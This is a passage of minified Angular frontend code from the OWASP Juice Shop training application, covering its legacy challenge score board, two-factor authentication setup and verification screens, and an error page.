("showDisabledChallenges",JSON.stringify(this.showDisabledChallenges))}toggleShowOnlyTutorialChallenges(){this.showOnlyTutorialChallenges=!this.showOnlyTutorialChallenges,localStorage.setItem("showOnlyTutorialChallenges",JSON.stringify(this.showOnlyTutorialChallenges)),this.challenges.sort(this.showOnlyTutorialChallenges?(e,o)=>e.tutorialOrder-o.tutorialOrder:(e,o)=>e.name<o.name?-1:e.name>o.name?1:0)}toggleShowChallengeCategory(e){this.displayedChallengeCategories.includes(e)?this.displayedChallengeCategories=this.displayedChallengeCategories.filter(o=>o!==e):this.displayedChallengeCategories.push(e),localStorage.setItem("displayedChallengeCategories",JSON.stringify(this.displayedChallengeCategories)),this.toggledMajorityOfCategories=this.determineToggledMajorityOfCategories()}toggleAllChallengeCategory(){this.toggledMajorityOfCategories?(this.displayedChallengeCategories=[],this.toggledMajorityOfCategories=!1):(this.displayedChallengeCategories=this.availableChallengeCategories,this.toggledMajorityOfCategories=!0),localStorage.setItem("displayedChallengeCategories",JSON.stringify(this.displayedChallengeCategories))}determineToggledMajorityOfDifficulties(){return this.displayedDifficulties.length>this.availableDifficulties.length/2}determineToggledMajorityOfCategories(){return this.displayedChallengeCategories.length>this.availableChallengeCategories.length/2}filterToDataSource(e){e=e.filter(i=>!(!this.displayedDifficulties.includes(i.difficulty)||!this.displayedChallengeCategories.includes(i.category)||!this.showSolvedChallenges&&i.solved||!this.showDisabledChallenges&&i.disabledEnv||this.showOnlyTutorialChallenges&&!i.hasTutorial));const o=new d.by;return o.data=e,o}populateFilteredChallengeLists(){for(const e of this.availableDifficulties)0===this.challenges.length?(this.totalChallengesOfDifficulty[e-1]=[],this.solvedChallengesOfDifficulty[e-1]=[]):(this.totalChallengesOfDifficulty[e-1]=this.challenges.filter(o=>o.difficulty===e),this.solvedChallengesOfDifficulty[e-1]=this.challenges.filter(o=>o.difficulty===e&&o.solved))}startHackingInstructor(e){console.log(`Starting instructions for challenge "${e}"`),Promise.resolve().then(c.bind(c,1096)).then(o=>{o.startHackingInstructorFor(e)})}trackById(e,o){return o.id}times(e){return Array(e).fill("\\u2605")}saveBackup(){this.localBackupService.save(this.appName.toLowerCase().replace(/ /,"_"))}restoreBackup(e){this.localBackupService.restore(e)}showCodeSnippet(e,o,i){this.dialog.open(Ne,{disableClose:!0,data:{key:e,name:o,codingChallengeStatus:i}}).afterClosed().subscribe(l=>{for(const m of this.challenges)m.name===o&&(m.codingChallengeStatus<1&&(m.codingChallengeStatus=l.findIt?1:m.codingChallengeStatus),m.codingChallengeStatus<2&&(m.codingChallengeStatus=l.fixIt?2:m.codingChallengeStatus),this.calculateCodingProgressPercentage())})}generateColor(e){return 2===e.codingChallengeStatus?"accent":"primary"}generateBadge(e){return 1===e.codingChallengeStatus?"1/2":""}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(ot),t.Y36(ne),t.Y36(k.H7),t.Y36(t.R0b),t.Y36(st),t.Y36(ae.t2),t.Y36(u.sK),t.Y36(Le),t.Y36(N.uw),t.Y36(U.gz))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-score-board-legacy"]],decls:46,vars:41,consts:[["fxLayout","column"],["fxLayout","row","fxLayout.lt-md","column"],["fxFlex","grow"],[1,"confirmation"],["mode","determinate",3,"color","value"],[4,"ngIf"],["fxLayout","row wrap",1,"star-container"],["matTooltipPosition","above",3,"checked","disabled","matTooltip","change",4,"ngFor","ngForOf"],["id","btnToggleAllDifficulties",1,"mat-button",3,"disabled","click"],["matTooltipPosition","above",3,"checked","disabled","matTooltip","change"],["aria-hidden","true",1,"fa-2x","fas","fa-trophy"],["id","btnToggleShowOnlyTutorialChallenges","matTooltipPosition","above",3,"checked","disabled","matTooltip","change",4,"ngIf"],["matTooltipPosition","above",3,"checked","disabled","matTooltip","change",4,"ngIf"],["mat-fab","","class","backupButton","color","primary","aria-label","Button to save local backup","matTooltipPosition","above",3,"matTooltip","click",4,"ngIf"],[1,"form-group"],["type","file",2,"display","none",3,"change"],["restoreBackupFile",""],["mat-fab","","class","backupButton","color","primary","aria-label","Button to restore local backup","matTooltipPosition","above",3,"matTooltip","click",4,"ngIf"],["class","disabled-challenges-infoBox mat-button",3,"innerHTML",4,"ngIf"],["fxLayout","row wrap",1,"category-container"],["class","category-toggle","appearance","legacy","matTooltipPosition","above",3,"checked","disabled","matTooltip","change",4,"ngFor","ngForOf"],[1,"mat-button",3,"disabled","click"],[1,"new-score-board-ad"],["mat-button","","routerLink","/score-board"],[3,"dataSource","trackBy",4,"ngIf"],["fxLayout","row","fxLayout.lt-lg","column",4,"ngIf"],["src","assets/public/images/padding/1px.png"],["fullscreen","true","type","timer","size","large"],[1,"fa-4x","fa-layers","fa-fw",2,"display","block","margin","5px"],["aria-hidden","true","data-prefix","fa","data-icon","star","role","img","xmlns","http://www.w3.org/2000/svg","viewBox","0 0 576 512","data-fa-i2svg","","stroke-width","10",1,"svg-inline--fa","fa-star","fa-w-18","star-border"],["x1","0","x2","0","y1","0","y2","100%",3,"id"],[1,"empty-star"],[1,"filled-star"],["d","M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"],["data-fa-transform","shrink-9",1,"fa-layers-text","fa-inverse",2,"font-weight","900"],["id","btnToggleShowOnlyTutorialChallenges","matTooltipPosition","above",3,"checked","disabled","matTooltip","change"],["aria-hidden","true",1,"fa-2x","fas","fa-exclamation-circle"],["mat-fab","","color","primary","aria-label","Button to save local backup","matTooltipPosition","above",1,"backupButton",3,"matTooltip","click"],["mat-fab","","color","primary","aria-label","Button to restore local backup","matTooltipPosition","above",1,"backupButton",3,"matTooltip","click"],[1,"disabled-challenges-infoBox","mat-button",3,"innerHTML"],["appearance","legacy","matTooltipPosition","above",1,"category-toggle",3,"checked","disabled","matTooltip","change"],[3,"dataSource","trackBy"],["matColumnDef","name"],["translate","",4,"matHeaderCellDef"],[3,"id",4,"matCellDef"],["matColumnDef","difficulty"],["fxShow","","fxHide.lt-sm","","translate","",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-sm","",4,"matCellDef"],["matColumnDef","description"],["fxFlex","1 1 31%","translate","",4,"matHeaderCellDef"],["fxFlex","1 1 31%",4,"matCellDef"],["matColumnDef","category"],["fxShow","","fxHide.lt-md","","translate","",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-md","",4,"matCellDef"],["matColumnDef","tags"],["fxShow","","fxHide.lt-lg","","translate","",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-lg","",4,"matCellDef"],["matColumnDef","status"],[4,"matCellDef"],["matColumnDef","feedback",4,"ngIf"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["translate",""],[3,"id"],["fxShow","","fxHide.lt-sm","","translate",""],["fxShow","","fxHide.lt-sm",""],[4,"ngFor","ngForOf"],["fxFlex","1 1 31%","translate",""],["fxFlex","1 1 31%"],[3,"innerHTML"],["fxShow","","fxHide.lt-md","","translate",""],["fxShow","","fxHide.lt-md",""],["fxShow","","fxHide.lt-lg","","translate",""],["fxShow","","fxHide.lt-lg",""],[3,"matTooltip"],[3,"challenge","allowRepeatNotifications","showChallengeHints"],["mat-mini-fab","","color","warn","matTooltipPosition","above","class","hacking-instructor-button",3,"matTooltip","click",4,"ngIf"],["target","_blank",3,"href",4,"ngIf"],["matTooltipPosition","above",3,"matTooltip","matTooltipDisabled"],["mat-mini-fab","","matTooltipPosition","above","class","code-snippet-button",3,"disabled","matTooltip","color","id","click",4,"ngIf"],["mat-mini-fab","","color","warn","matTooltipPosition","above","class","code-snippet-button","id","codingChallengeTutorialButton",3,"matTooltip","click",4,"ngIf"],["mat-mini-fab","","color","warn","matTooltipPosition","above",1,"hacking-instructor-button",3,"matTooltip","click"],["target","_blank",3,"href"],["mat-mini-fab","","color","accent","matTooltipPosition","above",1,"vulnerability-mitigation-button",3,"matTooltip"],["mat-mini-fab","","matTooltipPosition","above",1,"code-snippet-button",3,"disabled","matTooltip","color","id","click"],["matBadgeSize","medium","matBadgePosition","right","matBadgeColor","accent",3,"matBadge"],["mat-mini-fab","","color","warn","matTooltipPosition","above","id","codingChallengeTutorialButton",1,"code-snippet-button",3,"matTooltip","click"],["matBadge","<>","matBadgeSize","small","matBadgePosition","right","matBadgeColor","primary"],["matColumnDef","feedback"],["fxShow","","fxHide.lt-xl","","fxFlex","1 1 5%","translate","",4,"matHeaderCellDef"],["fxShow","","fxHide.lt-xl","","fxFlex","1 1 5%",4,"matCellDef"],["fxShow","","fxHide.lt-xl","","fxFlex","1 1 5%","translate",""],["fxShow","","fxHide.lt-xl","","fxFlex","1 1 5%"],["mat-icon-button",""],["color","accent"],["color","warn"],["fxLayout","row","fxLayout.lt-lg","column"],["fxFlex","40%","fxFlex.lt-lg","100%","class","primary-notification",3,"innerHTML",4,"ngIf"],[1,"fill-remaining-space"],["fxFlex","20%","fxFlex.lt-lg","100%","class","warn-notification",3,"innerHTML",4,"ngIf"],["fxFlex","40%","fxFlex.lt-lg","100%",1,"primary-notification",3,"innerHTML"],["fxFlex","20%","fxFlex.lt-lg","100%",1,"warn-notification",3,"innerHTML"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"div",1)(2,"mat-card",2)(3,"mat-card-title"),t._uU(4),t.ALo(5,"translate"),t.TgZ(6,"small",3),t._uU(7),t.qZA()(),t._UZ(8,"mat-progress-bar",4),t.qZA(),t.YNc(9,Ki,7,6,"mat-card",5),t.qZA(),t.TgZ(10,"mat-card")(11,"div",6),t.YNc(12,zi,14,23,"mat-button-toggle",7),t.TgZ(13,"button",8),t.NdJ("click",function(){return o.toggleAllDifficulty()}),t._uU(14),t.ALo(15,"translate"),t.qZA(),t.TgZ(16,"mat-button-toggle",9),t.NdJ("change",function(){return o.toggleShowSolvedChallenges()}),t.ALo(17,"translate"),t._UZ(18,"i",10),t._uU(19),t.ALo(20,"translate"),t.qZA(),t.YNc(21,$i,6,11,"mat-button-toggle",11),t.YNc(22,Vi,5,11,"mat-button-toggle",12),t.YNc(23,Xi,4,3,"button",13),t.TgZ(24,"div",14)(25,"input",15,16),t.NdJ("change",function(r){return o.restoreBackup(r.target.files.item(0))}),t.qZA()(),t.YNc(27,tr,4,3,"button",17),t.YNc(28,nr,2,7,"div",18),t.qZA(),t._UZ(29,"mat-divider"),t.TgZ(30,"div",19),t.YNc(31,or,5,13,"mat-button-toggle",20),t.TgZ(32,"button",21),t.NdJ("click",function(){return o.toggleAllChallengeCategory()}),t._uU(33),t.ALo(34,"translate"),t.qZA()()(),t.TgZ(35,"div",22),t._uU(36),t.ALo(37,"translate"),t.TgZ(38,"a",23),t._uU(39),t.ALo(40,"translate"),t.qZA()(),t.TgZ(41,"mat-card"),t.YNc(42,Or,22,5,"mat-table",24),t.qZA(),t.YNc(43,Nr,4,2,"div",25),t.qZA(),t._UZ(44,"img",26)(45,"ngx-spinner",27)),2&e&&(t.xp6(4),t.hij("",t.lcZ(5,24,"TITLE_SCORE_BOARD")," "),t.xp6(3),t.hij("",o.percentChallengesSolved,"%"),t.xp6(1),t.Q6J("color","accent")("value",o.percentChallengesSolved),t.xp6(1),t.Q6J("ngIf","never"!==o.codingChallengesEnabled),t.xp6(3),t.Q6J("ngForOf",o.availableDifficulties),t.xp6(1),t.Q6J("disabled",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted),t.xp6(1),t.Oqu(t.lcZ(15,26,o.toggledMajorityOfDifficulties?"BTN_HIDE_ALL":"BTN_SHOW_ALL")),t.xp6(2),t.Q6J("checked",o.showSolvedChallenges)("disabled",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted)("matTooltip",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted?t.xi3(17,28,"INFO_FULL_CHALLENGE_MODE",t.VKq(39,Tt,o.challenges.length)):""),t.xp6(3),t.hij(" ",t.lcZ(20,31,"BTN_SHOW_SOLVED")," "),t.xp6(2),t.Q6J("ngIf",o.showHackingInstructor),t.xp6(1),t.Q6J("ngIf",o.numDisabledChallenges>0),t.xp6(1),t.Q6J("ngIf",o.localBackupEnabled),t.xp6(4),t.Q6J("ngIf",o.localBackupEnabled),t.xp6(1),t.Q6J("ngIf",o.numDisabledChallenges>0&&o.showDisabledChallenges),t.xp6(3),t.Q6J("ngForOf",o.availableChallengeCategories),t.xp6(1),t.Q6J("disabled",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted),t.xp6(1),t.Oqu(t.lcZ(34,33,o.toggledMajorityOfCategories?"BTN_HIDE_ALL":"BTN_SHOW_ALL")),t.xp6(3),t.hij(" ",t.lcZ(37,35,"SCORE_BOARD_LEGACY_CATCH_LINE")," "),t.xp6(3),t.hij(" ",t.lcZ(40,37,"SCORE_BOARD_LEGACY_ACTION_BUTTON")," "),t.xp6(3),t.Q6J("ngIf",o.challenges),t.xp6(1),t.Q6J("ngIf",o.showContributionInfoBox||o.questionnaireUrl))},dependencies:[h.sg,h.O5,U.rH,u.Pi,p.xw,p.yH,$.b8,ae.Ro,F.Hw,x.lW,x.zs,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,T.n5,z.d,Ee.pW,Q.gM,Me.Yi,De.k,ie.qn,ie.HS,ji,u.X$],styles:["mat-card[_ngcontent-%COMP%], mat-expansion-panel[_ngcontent-%COMP%], footer[_ngcontent-%COMP%]{margin-bottom:35px;margin-left:35px;margin-right:35px;min-width:300px}.category-container[_ngcontent-%COMP%], mat-table[_ngcontent-%COMP%]{margin-top:25px}.star-container[_ngcontent-%COMP%]{margin-bottom:10px;margin-top:25px}.star-container[_ngcontent-%COMP%] svg[_ngcontent-%COMP%]:hover{cursor:pointer}.mat-column-status[_ngcontent-%COMP%] button[_ngcontent-%COMP%] mat-button-toggle[_ngcontent-%COMP%]{cursor:initial}.mat-column-status[_ngcontent-%COMP%] button[_ngcontent-%COMP%] span[_ngcontent-%COMP%] mat-button-toggle[_ngcontent-%COMP%]{cursor:pointer}.heading[_ngcontent-%COMP%]{padding-top:5px}.mat-raised-button[_ngcontent-%COMP%]{width:-moz-fit-content;width:fit-content}.category-toggle[_ngcontent-%COMP%]{font-size:small}.overlay-fullscreen[_ngcontent-%COMP%] .black-overlay{position:fixed}.hacking-instructor-button[_ngcontent-%COMP%], .vulnerability-mitigation-button[_ngcontent-%COMP%], .code-snippet-button[_ngcontent-%COMP%]{margin-left:8px}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}.disabled-challenges-infoBox[_ngcontent-%COMP%]{align-self:center;color:#e64a19;cursor:default;height:100%;margin:0}.disabled-challenges-infoBox[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{color:#546e7a;font-style:normal}.backupButton[_ngcontent-%COMP%]{align-self:center;margin-left:15px}.new-score-board-ad[_ngcontent-%COMP%]{align-items:center;display:flex;justify-content:center;margin-bottom:16px;margin-top:-16px}.new-score-board-ad[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{margin-left:8px}"]}),n})(),qe=(()=>{class n{constructor(e){this.http=e}verify(e){return this.http.post(`${P.N.hostServer}/rest/2fa/verify`,{tmpToken:localStorage.getItem("totp_tmp_token"),totpToken:e}).pipe((0,C.U)(o=>o.authentication),(0,_.K)(o=>{throw o}))}status(){return this.http.get(`${P.N.hostServer}/rest/2fa/status`).pipe((0,C.U)(e=>e),(0,_.K)(e=>{throw e}))}setup(e,o,i){return this.http.post(`${P.N.hostServer}/rest/2fa/setup`,{password:e,setupToken:i,initialToken:o}).pipe((0,C.U)(()=>{}),(0,_.K)(r=>{throw r}))}disable(e){return this.http.post(`${P.N.hostServer}/rest/2fa/disable`,{password:e}).pipe((0,C.U)(()=>{}),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Mr(n,a){1&n&&(t.TgZ(0,"div",13),t._uU(1,"INVALID_TWO_FACTOR_AUTH_TOKEN"),t.qZA())}O.vI.add(g.B$L);let Dr=(()=>{class n{constructor(e,o,i,r,l){this.twoFactorAuthService=e,this.cookieService=o,this.userService=i,this.router=r,this.ngZone=l,this.twoFactorForm=new s.nJ({token:new s.p4("",[s.kI.minLength(6),s.kI.maxLength(6),s.kI.required,s.kI.pattern("^[\\\\d]{6}$")])}),this.errored=!1}verify(){var e=this;this.twoFactorAuthService.verify(this.twoFactorForm.value.token).subscribe(i=>{localStorage.setItem("token",i.token);const r=new Date;r.setHours(r.getHours()+8),this.cookieService.put("token",i.token,{expires:r}),sessionStorage.setItem("bid",i.bid?.toString()),this.userService.isLoggedIn.next(!0),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/search"])}))},i=>(this.errored=!0,setTimeout(()=>{this.errored=!1},5e3),i))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(qe),t.Y36(I.N_),t.Y36(R),t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-two-factor-auth-enter"]],decls:27,vars:13,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["class","error","style","margin-bottom: 10px;","translate","",4,"ngIf"],[3,"formGroup","ngSubmit"],[1,"form-container"],["id","inputToken","appearance","outline","color","accent"],["formControlName","token","type","text","minlength","6","maxlength","6","pattern","^[\\\\d]{6}$","matInput","","id","totpToken","aria-label","Field for entering the Two Factor token",3,"placeholder"],["tokenInput",""],["matSuffix","","matTooltipPosition","right","aria-label","The code to be entered from the authenticator must have 6 digits.",3,"matTooltip"],["align","end"],["type","submit","color","primary","mat-raised-button","","id","totpSubmitButton","aria-label","Button to confirm the input",3,"disabled"],[1,"material-icons"],["translate","",1,"error",2,"margin-bottom","10px"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_TWO_FACTOR_AUTHENTICATION"),t.qZA(),t.TgZ(4,"p",2),t._uU(5,"TITLE_TWO_FACTOR_AUTH_ENTER"),t.qZA(),t.YNc(6,Mr,2,0,"div",3),t.TgZ(7,"form",4),t.NdJ("ngSubmit",function(){return o.verify()}),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_TWO_FACTOR_AUTH_TOKEN"),t.qZA(),t._UZ(12,"input",7,8),t.ALo(14,"translate"),t.TgZ(15,"mat-icon",9),t.ALo(16,"translate"),t._uU(17," help_outline "),t.qZA(),t.TgZ(18,"mat-hint",10),t._uU(19),t.qZA(),t.TgZ(20,"mat-error",2),t._uU(21,"INVALID_TWO_FACTOR_AUTH_TOKEN"),t.qZA()()(),t.TgZ(22,"button",11)(23,"i",12),t._uU(24," lock_open "),t.qZA(),t._uU(25),t.ALo(26,"translate"),t.qZA()()()()),2&e){const i=t.MAs(13);t.xp6(6),t.Q6J("ngIf",o.errored),t.xp6(1),t.Q6J("formGroup",o.twoFactorForm),t.xp6(5),t.s9C("placeholder",t.lcZ(14,7,"2FA_ENTER_CODE_PLACEHOLDER")),t.xp6(3),t.s9C("matTooltip",t.lcZ(16,9,"INITIAL_TOKEN_TOOLTIP")),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/6"),t.xp6(3),t.Q6J("disabled",o.twoFactorForm.invalid),t.xp6(3),t.hij(" ",t.lcZ(26,11,"BTN_LOGIN")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s._Y,s.Fj,s.JJ,s.JL,s.wO,s.nD,s.c5,s.sg,s.u,F.Hw,f.TO,f.KE,f.bx,f.hX,f.R9,x.lW,T.a8,B.Nt,Q.gM,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}#totpSubmitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}#inputToken[_ngcontent-%COMP%]{width:100%}"]}),n})();O.vI.add(g.wOQ,g.R3t);let qr=(()=>{class n{constructor(e,o){this.route=e,this.translate=o,this.error=null}ngOnInit(){const e=this.route.snapshot.queryParams.error;e&&this.translate.get(e).subscribe(o=>{this.error=o},o=>{this.error=o})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.gz),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-error-page"]],decls:7,vars:1,consts:[[1,"warn-notification","mat-elevation-z6"],[1,"mat-display-3"],[1,"fas","fa-hand-paper"],[1,"mat-subheading-2"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div")(2,"div",1),t._UZ(3,"i",2),t._uU(4," 403"),t.qZA(),t.TgZ(5,"span",3),t._uU(6),t.qZA()()()),2&e&&(t.xp6(6),t.Oqu(o.error))},dependencies:[T.a8],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}"]}),n})();var re=c(2289),At=c(3267);let Fr=(()=>{class n{constructor(e){this.breakpointObserver=e,this.windowWidth=window.innerWidth,this.isHandset$=this.breakpointObserver.observe(re.u3.Handset).pipe((0,C.U)(o=>o.matches))}ngAfterViewInit(){this.windowWidth=window.innerWidth}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(re.Yg))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-privacy-security"]],decls:3,vars:0,consts:[[1,"sidenav-container"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-sidenav-container",0)(1,"mat-sidenav-content"),t._UZ(2,"router-outlet"),t.qZA()())},dependencies:[U.lC,At.TM,At.Rh]}),n})();var se=c(3079);function Br(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",5)(1,"p",6),t._uU(2,"2FA_SUCCESSFUL_SETUP"),t.qZA(),t.TgZ(3,"form",7),t.NdJ("ngSubmit",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.disable())}),t.TgZ(4,"h2",8),t._uU(5,"REMOVE_TWO_FACTOR_AUTH"),t.qZA(),t.TgZ(6,"div",9),t._uU(7,"2FA_SETUP_ERROR"),t.qZA(),t.TgZ(8,"mat-form-field",10)(9,"mat-label",6),t._uU(10,"LABEL_CURRENT_PASSWORD"),t.qZA(),t._UZ(11,"input",11),t.ALo(12,"translate"),t.qZA(),t.TgZ(13,"button",12)(14,"i",13),t._uU(15," remove_circle_outline "),t.qZA(),t._uU(16),t.ALo(17,"translate"),t.qZA()()()}if(2&n){const e=t.oxw();t.xp6(3),t.Q6J("formGroup",e.twoFactorDisableForm),t.xp6(3),t.Q6J("hidden",!(e.errored&&!e.twoFactorDisableForm.dirty)),t.xp6(5),t.s9C("placeholder",t.lcZ(12,5,"MANDATORY_CURRENT_PASSWORD")),t.xp6(2),t.Q6J("disabled",e.twoFactorDisableForm.invalid),t.xp6(3),t.hij(" ",t.lcZ(17,7,"BTN_REMOVE")," ")}}function Rr(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"form",14),t.NdJ("ngSubmit",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.setup())}),t.TgZ(1,"span",15),t._uU(2,"2FA_AUTH_SETUP_INSTRUCTIONS"),t.qZA(),t.TgZ(3,"div",16),t._UZ(4,"qr-code",17),t.qZA(),t.TgZ(5,"div",9),t._uU(6,"2FA_SETUP_ERROR"),t.qZA(),t.TgZ(7,"mat-form-field",10)(8,"mat-label",6),t._uU(9,"LABEL_CURRENT_PASSWORD"),t.qZA(),t._UZ(10,"input",18),t.ALo(11,"translate"),t.qZA(),t.TgZ(12,"mat-form-field",10)(13,"mat-label",6),t._uU(14,"INITIAL_CODE"),t.qZA(),t._UZ(15,"input",19,20),t.ALo(17,"translate"),t.TgZ(18,"mat-error",6),t._uU(19,"INVALID_TWO_FACTOR_AUTH_TOKEN"),t.qZA(),t.TgZ(20,"mat-icon",21),t.ALo(21,"translate"),t._uU(22," help_outline "),t.qZA(),t.TgZ(23,"mat-hint",22),t._uU(24),t.qZA()(),t.TgZ(25,"button",23)(26,"i",13),t._uU(27," save "),t.qZA(),t._uU(28),t.ALo(29,"translate"),t.qZA()()}if(2&n){const e=t.MAs(16),o=t.oxw();t.Q6J("formGroup",o.twoFactorSetupForm),t.xp6(4),t.Q6J("value",o.totpUrl)("size",300)("level","L"),t.xp6(1),t.Q6J("hidden",!(o.errored&&!o.twoFactorSetupForm.dirty)),t.xp6(5),t.s9C("placeholder",t.lcZ(11,12,"MANDATORY_CURRENT_PASSWORD")),t.xp6(5),t.s9C("placeholder",t.lcZ(17,14,"INITIAL_CODE_PLACEHOLDER")),t.uIk("data-test-totp-secret",o.totpSecret),t.xp6(5),t.s9C("matTooltip",t.lcZ(21,16,"INITIAL_TOKEN_TOOLTIP")),t.xp6(4),t.hij("",(null==e.value?null:e.value.length)||0,"/6"),t.xp6(1),t.Q6J("disabled",o.twoFactorSetupForm.invalid),t.xp6(3),t.hij(" ",t.lcZ(29,18,"BTN_SAVE")," ")}}O.vI.add(g.B$L,g.r6l);let Yr=(()=>{class n{constructor(e,o,i,r,l){this.twoFactorAuthService=e,this.configurationService=o,this.snackBar=i,this.translateService=r,this.snackBarHelperService=l,this.twoFactorSetupForm=new s.nJ({passwordControl:new s.p4("",[s.kI.required]),initalTokenControl:new s.p4("",[s.kI.required,s.kI.pattern("^[\\\\d]{6}$")])}),this.twoFactorDisableForm=new s.nJ({passwordControl:new s.p4("",[s.kI.required])}),this.setupStatus=null,this.errored=null,this.appName="OWASP Juice Shop"}ngOnInit(){this.updateStatus()}updateStatus(){const e=this.twoFactorAuthService.status(),o=this.configurationService.getApplicationConfiguration();return(0,Nt.D)([e,o]).subscribe(([{setup:i,email:r,secret:l,setupToken:m},v])=>{if(this.setupStatus=i,this.appName=v.application.name,!i){const A=encodeURIComponent(this.appName);this.totpUrl=`otpauth://totp/${A}:${r}?secret=${l}&issuer=${A}`,this.totpSecret=l,this.setupToken=m}},()=>{console.log("Failed to fetch 2fa status")}),e}setup(){this.twoFactorAuthService.setup(this.twoFactorSetupForm.get("passwordControl")?.value,this.twoFactorSetupForm.get("initalTokenControl")?.value,this.setupToken).subscribe(()=>{this.setupStatus=!0,this.snackBarHelperService.open("CONFIRM_2FA_SETUP")},()=>{this.twoFactorSetupForm.get("passwordControl")?.markAsPristine(),this.twoFactorSetupForm.get("initalTokenControl")?.markAsPristine(),this.errored=!0})}disable(){this.twoFactorAuthService.disable(this.twoFactorDisableForm.get("passwordControl")?.value).subscribe(()=>{this.updateStatus().subscribe(()=>{this.setupStatus=!1}),this.snackBarHelperService.open("CONFIRM_2FA_DISABLE")},()=>{this.twoFactorDisableForm.get("passwordControl")?.markAsPristine(),this.errored=!0})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(qe),t.Y36(b.e),t.Y36(ut.ux),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-two-factor-auth"]],decls:6,vars:2,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["id","2fa-setup-title","translate",""],["id","2fa-setup-successfully",4,"ngIf"],["class","form-container","id","two-factor-auth-setup",3,"formGroup","ngSubmit",4,"ngIf"],["id","2fa-setup-successfully"],["translate",""],["id","two-factor-auth-disable",1,"form-container",3,"formGroup","ngSubmit"],["id","two-factor-auth-disable-title","translate",""],["translate","",1,"error",3,"hidden"],["appearance","outline","color","accent"],["id","currentPasswordDisable","formControlName","passwordControl","type","password","matInput","","aria-label","Field to enter the current password","autocomplete","off",3,"placeholder"],["type","submit","id","disableTwoFactorAuth","mat-raised-button","","color","warn","aria-label","Button to remove the two-factor authentication",3,"disabled"],[1,"material-icons"],["id","two-factor-auth-setup",1,"form-container",3,"formGroup","ngSubmit"],["id","2fa-setup-instructions","translate",""],["fxLayoutAlign","center",1,"two-factor-qr-code"],[3,"value","size","level"],["id","currentPasswordSetup","formControlName","passwordControl","type","password","matInput","","aria-label","Field to enter the current password","autocomplete","off",3,"placeholder"],["id","initalToken","formControlName","initalTokenControl","type","text","matInput","","aria-label","Field to enter the initial token. This must have 6 digits.","minlength","6","maxlength","6","pattern","^[\\\\d]{6}$",3,"placeholder"],["initToken",""],["matSuffix","","matTooltipPosition","right","aria-label","The token to be entered from the authenticator must have 6 digits.",3,"matTooltip"],["align","end"],["type","submit","id","setupTwoFactorAuth","mat-raised-button","","color","primary","aria-label","Button to complete the two-factor configuration",3,"disabled"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_TWO_FACTOR_AUTH_CONFIG"),t.qZA(),t.YNc(4,Br,18,9,"div",3),t.YNc(5,Rr,30,20,"form",4),t.qZA()()),2&e&&(t.xp6(4),t.Q6J("ngIf",!0===o.setupStatus),t.xp6(1),t.Q6J("ngIf",!1===o.setupStatus))},dependencies:[h.O5,u.Pi,p.Wh,s._Y,s.Fj,s.JJ,s.JL,s.wO,s.nD,s.c5,s.sg,s.u,se.V,F.Hw,f.TO,f.KE,f.bx,f.hX,f.R9,x.lW,T.a8,B.Nt,Q.gM,u.X$],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-bottom:50px;margin-left:auto;margin-right:auto;min-width:320px;width:30%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#setupTwoFactorAuth[_ngcontent-%COMP%], 